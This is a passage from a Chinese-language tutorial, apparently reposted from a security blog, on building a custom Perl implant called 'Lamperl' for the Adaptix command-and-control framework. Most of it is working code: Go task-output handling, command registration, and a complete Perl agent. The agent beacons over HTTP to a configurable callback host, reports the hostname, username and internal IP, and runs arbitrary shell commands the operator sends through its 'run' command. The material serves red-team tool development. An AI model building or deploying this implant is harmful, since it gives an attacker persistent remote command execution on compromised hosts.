consoleOutput= fmt.Sprintf("Error: %s", errMsg)
} else {
path:=getString(outputData, "path")
consoleOutput= fmt.Sprintf("Changed directory to: %s", path)
}
case"run":
executable:=getString(outputData, "executable")
args:=getString(outputData, "args")
stdout:=getString(outputData, "stdout")
exitCode:=getInt(outputData, "exit_code")
cmdStr:= executable
if args !="" {
cmdStr= fmt.Sprintf("%s%s", executable, args)
}
consoleOutput= fmt.Sprintf("Running command: %s\n\n%s\nExit code: %d", cmdStr, stdout, exitCode)
default:
iferrMsg:=getString(outputData, "error"); errMsg !="" {
consoleOutput= fmt.Sprintf("Error: %s", errMsg)
} else {
// Show raw JSON output for unknown commands
jsonBytes, _:= json.MarshalIndent(outputData, "", " ")
consoleOutput=string(jsonBytes)
}
}
// Output to agent console
ts.TsAgentConsoleOutput(agentData.Id, MESSAGE_SUCCESS, consoleOutput, "", true)
}
/// END CODE
return outTasks
}
该函数把 packed data 反序列化为 results 数组,然后逐条提取 task ID 与 output,解析 output JSON,并按命令类型格式化,最后通过 TsAgentConsoleOutput在 UI 中显示。
代理 ax_config.axs
最后,我们需要为 agent 编写 ax_config.axs文件,用于注册我们在 CreateTask中定义的命令:
function RegisterCommands(listenerType)
{
/// Commands Here
let cmd_pwd= ax.create_command("pwd", "Print working directory", "pwd", "Task: print working directory");
let cmd_cd= ax.create_command("cd", "Change directory", "cd /etc", "Task: change directory");
cmd_cd.addArgString("path", true, "Target directory path");
let cmd_run= ax.create_command("run", "Execute command", "run whoami", "Task: execute command");
cmd_run.addArgString("executable", true, "Command or executable to run");
cmd_run.addArgString("args", false, "Command arguments");
if(listenerType =="LamperlHTTP") {
let commands_external= ax.create_commands_group("Lamperl", [cmd_pwd, cmd_cd, cmd_run]);
return { commands_linux: commands_external }
}
return ax.create_commands_group("none",[]);
}
function GenerateUI(listenerType)
{
let container= form.create_container()
let panel= form.create_panel()
return {
ui_panel: panel,
ui_container: container
}
}
至此,agent handler 部分就完成了:在 lamperl_agent目录运行 make即可构建。
当 Go 侧的基础设施就位后,终于可以开始编写真正运行在目标系统上的 Perl agent 了。
Lamperl 代理
在添加任何命令之前,先要把 callback 机制做稳。我们先从定义必要变量开始:
# Configuration
my$callback_host = '<CALLBACK_HOST>';
my$callback_port = '<CALLBACK_PORT>';
my$callback_path = '<CALLBACK_PATH>';
my$agent_watermark = '<WATERMARK>';
# Generate random 10-character hex agent ID at runtime
srand(time ^ $$ ^ unpack("%L*", `ps axww | gzip -f`));
my$agent_id = sprintf("%010x", int(rand() * 1099511627776) % 1099511627776);
# Agent state
my$sleep_time = 5;
my$jitter_percent = 10;
my$current_directory = Cwd::getcwd();
my$should_terminate = 0;
# Reusable JSON encoder
my$json = JSON::PP->new->utf8->canonical;
这些占位符值 (<CALLBACK_HOST>等) 会在构建阶段由前面实现的 AgentGenerateBuild函数替换。为保证唯一性,agent ID 在运行时随机生成 (10 字符)。同时,我们用 $current_directory跟踪当前工作目录以支持文件系统操作,并复用一个 JSON encoder 来简化通信逻辑。
接着实现一个函数,用于首次 check-in 时收集初始系统信息:
# Get initial system information
subget_init_data {
my$hostname = `hostname`;
chomp($hostname);
my$username = getpwuid($<) || $<;
my$internal_ip = '';
my$sock = IO::Socket::INET->new(
PeerAddr=>'8.8.8.8',
PeerPort=> 53,
Proto=>'udp',
);
if ($sock) {
$internal_ip = $sock->sockhost();
close($sock);
}
return {
hostname=>$hostname,
username=>$username,
domain=>'',
internal_ip=>$internal_ip,
process=>$0,
pid=>$$,
sleep=>$sleep_time,
jitter=>$jitter_percent,
};
}
最关键的是 HTTP 通信函数:所有与监听器的交互都在这里完成:
# Send HTTP request
subsend_request {
my ($beat, $init, $results) = @_;
printSTDERR"[DEBUG] Connecting to $callback_host:$callback_port\n";
my$sock = IO::Socket::INET->new(
PeerHost=>$callback_host,
PeerPort=>$callback_port,
Proto=>'tcp',
Timeout=> 10,
);
unless ($sock) {
printSTDERR"[ERROR] Failed to connect: $!\n";
returnundef;
}
printSTDERR"[DEBUG] Connected successfully\n";
# Build request body
my$body = { beat=>$beat };
$body->{init} = $initif$init;
$body->{results} = $resultsif$results && @$results;
my$body_json = $json->encode($body);
my$content_length = length($body_json);
printSTDERR"[DEBUG] Beat: $beat\n";
printSTDERR"[DEBUG] Body length: $content_length bytes\n";
printSTDERR"[DEBUG] Body: $body_json\n";
printSTDERR"[DEBUG] Sending request...\n";
# Send HTTP request
print$sockjoin("\r\n",
"POST $callback_path HTTP/1.1",
"Host: $callback_host:$callback_port",
"User-Agent: Mozilla/5.0 (X11; Linux x86_64)",
"Content-Type: application/json",
"Content-Length: $content_length",
"Connection: close",
"",
$body_json
);
# Read response
local$/ = undef;
my$response = <$sock>;
close($sock);
printSTDERR"[DEBUG] Response length: " . length($response) . " bytes\n";
printSTDERR"[DEBUG] Response:\n$response\n";
# Parse response body
returnundefunless$response;
returnundefunless$response =~ /\r?\n\r?\n(.+)$/s;
my$data = eval { $json->decode($1) };
if ($@) {
printSTDERR"[ERROR] JSON decode failed: $@\n";
}
return$data;
}
该函数覆盖了完整的 HTTP 请求/响应流程:
- 与监听器建立 TCP 连接,并设置 10 秒超时
- 构建 JSON 请求体:按需包含 init 数据 (仅首次 check-in) 或 results (任务输出)
- 手工构造并发送带正确 header 的 HTTP POST 请求。这里直接拼 raw HTTP,而不是用库,以尽量减少依赖
- 通过临时禁用 Perl 的输入记录分隔符 (
local $/ = undef) 来读取完整响应,从而一次性读入全部内容 - 使用 regex 提取响应 body:匹配 HTTP headers 之后的所有内容 (
\r?\n\r?\n序列标记 headers 结束) - 解码 JSON 响应并返回解析后的数据结构;任何一步失败则返回 undef
大量的 debug print 能显著降低开发与测试阶段排查通信问题的成本。
另外加一个辅助函数,用于计算带 jitter 的 sleep 间隔:
# Calculate sleep time with jitter
subcalculate_sleep {
return$sleep_timeunless$jitter_percent > 0;
return$sleep_time + int(rand($sleep_time * $jitter_percent / 100));
}
最后实现主执行循环:
# Main loop
submain {
my$beat = $agent_watermark . $agent_id;
my$init_data = get_init_data();
my$first_checkin = 1;
printSTDERR"[INFO] Agent starting...\n";
printSTDERR"[INFO] Watermark: $agent_watermark\n";
printSTDERR"[INFO] Agent ID: $agent_id\n";
printSTDERR"[INFO] Beat: $beat\n";
printSTDERR"[INFO] Callback: $callback_host:$callback_port$callback_path\n";
while (!$should_terminate) {
printSTDERR"[INFO] Sending beacon (first_checkin=$first_checkin)...\n";
# Send beacon with init data on first checkin only
my$response = send_request($beat, $first_checkin ? $init_data : undef, undef);
$first_checkin = 0;
sleep(calculate_sleep());
}
}
下面给出完整的初始 agent 实现:
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket::INET;
use JSON::PP;
use MIME::Base64;
use Cwd;
# Configuration
my$callback_host = '<CALLBACK_HOST>';
my$callback_port = '<CALLBACK_PORT>';
my$callback_path = '<CALLBACK_PATH>';
my$agent_watermark = '<WATERMARK>';
# Generate random 10-character hex agent ID at runtime
srand(time ^ $$ ^ unpack("%L*", `ps axww | gzip -f`));
my$agent_id = sprintf("%010x", int(rand() * 1099511627776) % 1099511627776);
# Agent state
my$sleep_time = 5;
my$jitter_percent = 10;
my$current_directory = Cwd::getcwd();
my$should_terminate = 0;
# Reusable JSON encoder
my$json = JSON::PP->new->utf8->canonical;
# Get initial system information
subget_init_data {
my$hostname = `hostname`;
chomp($hostname);
my$username = getpwuid($<) || $<;
my$internal_ip = '';
my$sock = IO::Socket::INET->new(
PeerAddr=>'8.8.8.8',
PeerPort=> 53,
Proto=>'udp',
);
if ($sock) {
$internal_ip = $sock->sockhost();
close($sock);
}
return {
hostname=>$hostname,
username=>$username,
domain=>'',
internal_ip=>$internal_ip,
process=>$0,
pid=>$$,
sleep=>$sleep_time,
jitter=>$jitter_percent,
};
}
# Send HTTP request
subsend_request {
my ($beat, $init, $results) = @_;
printSTDERR"[DEBUG] Connecting to $callback_host:$callback_port\n";
my$sock = IO::Socket::INET->new(
PeerHost=>$callback_host,
PeerPort=>$callback_port,
Proto=>'tcp',
Timeout=> 10,
);
unless ($sock) {
printSTDERR"[ERROR] Failed to connect: $!\n";
returnundef;
}
printSTDERR"[DEBUG] Connected successfully\n";
# Build request body
my$body = { beat=>$beat };
$body->{init} = $initif$init;
$body->{results} = $resultsif$results && @$results;
my$body_json = $json->encode($body);
my$content_length = length($body_json);
printSTDERR"[DEBUG] Beat: $beat\n";
printSTDERR"[DEBUG] Body length: $content_length bytes\n";
printSTDERR"[DEBUG] Body: $body_json\n";
printSTDERR"[DEBUG] Sending request...\n";
# Send HTTP request
print$sockjoin(
"\r\n",
"POST $callback_path HTTP/1.1",
"Host: $callback_host:$callback_port",
"User-Agent: Mozilla/5.0 (X11; Linux x86_64)",
"Content-Type: application/json",
"Content-Length: $content_length",
"Connection: close",
"",
$body_json
);
# Read response
local$/ = undef;
my$response = <$sock>;
close($sock);
printSTDERR"[DEBUG] Response length: " . length($response) . " bytes\n";
printSTDERR"[DEBUG] Response:\n$response\n";
# Parse response body
returnundefunless$response;
returnundefunless$response =~ /\\r?\\n\\r?\\n(.+)$/s;
my$data = eval { $json->decode($1) };
if ($@) {
printSTDERR"[ERROR] JSON decode failed: $@\n";
}
return$data;
}
# Calculate sleep time with jitter
subcalculate_sleep {
return$sleep_timeunless$jitter_percent > 0;
return$sleep_time + int(rand($sleep_time * $jitter_percent / 100));
}
# Main loop
submain {
my$beat = $agent_watermark . $agent_id;
my$init_data = get_init_data();
my$first_checkin = 1;
printSTDERR"[INFO] Agent starting...\n";
printSTDERR"[INFO] Watermark: $agent_watermark\n";
printSTDERR"[INFO] Agent ID: $agent_id\n";
printSTDERR"[INFO] Beat: $beat\n";
printSTDERR"[INFO] Callback: $callback_host:$callback_port$callback_path\n";
while (!$should_terminate) {
printSTDERR"[INFO] Sending beacon (first_checkin=$first_checkin)...\n";
# Send beacon with init data on first checkin only
my$response = send_request($beat, $first_checkin ? $init_data : undef, undef);
$first_checkin = 0;
sleep(calculate_sleep());
}
}
main();
运行前可以先检查 Perl 语法:
perl -c lamperl.pl
现在在 Adaptix 中创建 listener,生成 agent 并启动:
perl lamperl.pl
成功,agent 已出现在 Adaptix 中:
不过目前还没有任何实际功能:agent 只能 beacon。下面把功能补上。
添加命令功能
这个初始版本实现三个命令:cd、pwd和 run。我们采用 dispatch table 模式来实现清晰的命令路由。首先定义命令表,并实现分发机制:
# Command dispatch table
my%COMMANDS = (
pwd=> \&cmd_pwd,
cd=> \&cmd_cd,
run=> \&cmd_run,
);
# Execute a command using dispatch table
subexecute_command {
my ($task) = @_;
my$task_id = $task->{task_id};
my$command = $task->{command};
my$handler = $COMMANDS{$command};
my$result = $handler
? $handler->($task)
: { command=>$command, error=>"Unknown command: $command" };
return {
task_id=>$task_id,
output=>$json->encode($result),
};
}
接下来实现这三个命令。它们的模式一致:执行操作,捕获输出,再返回结构化结果。
cmd_pwd的实现很简单:返回当前目录:
subcmd_pwd {
my ($task) = @_;
return {
command=>'pwd',
path=>$current_directory,
};
}
cmd_cd会先校验目标路径是否存在,再切换目录:
subcmd_cd {
my ($task) = @_;
my$path = $task->{path} || '/';
unless (-d$path) {
return {
command=>'cd',
error=>"Directory not found: $path",
};
}
$current_directory = Cwd::abs_path($path);
return {
command=>'cd',
path=>$current_directory,
};
}
最后,cmd_run通过 /bin/sh执行任意命令,并捕获 stdout 与 exit code:
subcmd_run {
my ($task) = @_;
my$executable = $task->{executable} || '/bin/sh';
my$args = $task->{args} || '';
my$cmd = $args ? "$executable$args" : $executable;
my$output = `$cmd 2>&1`;
my$exit_code = $? >> 8;
return {
command=>'run',
executable=>$executable,
args=>$args,
stdout=>$output,
exit_code=>$exit_code,
};
}
最后一步是更新主循环:检查并执行下发的命令:
submain {
my$beat = $agent_watermark . $agent_id;
my$init_data = get_init_data();
my$first_checkin = 1;
printSTDERR"[INFO] Agent starting...\n";
printSTDERR"[INFO] Watermark: $agent_watermark\n";
printSTDERR"[INFO] Agent ID: $agent_id\n";
printSTDERR"[INFO] Beat: $beat\n";
printSTDERR"[INFO] Callback: $callback_host:$callback_port$callback_path\n";
while (!$should_terminate) {
printSTDERR"[INFO] Sending beacon (first_checkin=$first_checkin)...\n";
# Send beacon with init data on first checkin only
my$response = send_request($beat, $first_checkin ? $init_data : undef, undef);
$first_checkin = 0;
# Execute tasks if present
if ($response && $response->{tasks} && @{$response->{tasks}}) {
my@results = map { execute_command($_) } @{$response->{tasks}};
send_request($beat, undef, \@results) if@results;
}
sleep(calculate_sleep());
}
}
现在重新构建监听器与 agent,生成一个新的 agent,并运行:
连接已成功建立:
agent 现在可以切换目录:
并执行任意命令:
结论
至此,本系列第一篇就结束了!我们已经 (基本) 从零搭建了一个可用的 Adaptix agent,涵盖监听器实现、agent 生成以及基础命令执行。本次迭代的完整代码已发布在 GitHub 上。
Lamperl-v1
下一篇文章将继续扩展 agent 能力:加入文件上传、下载,以及异步 job 处理。
Lessons from Perlyite(Building a custom Adaptix agent)
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本文转载自:securitainment Polar《从 Perlyite 到 Lamperl:用 Perl 构建自定义 Adaptix C2 Agent (第 1 篇)》
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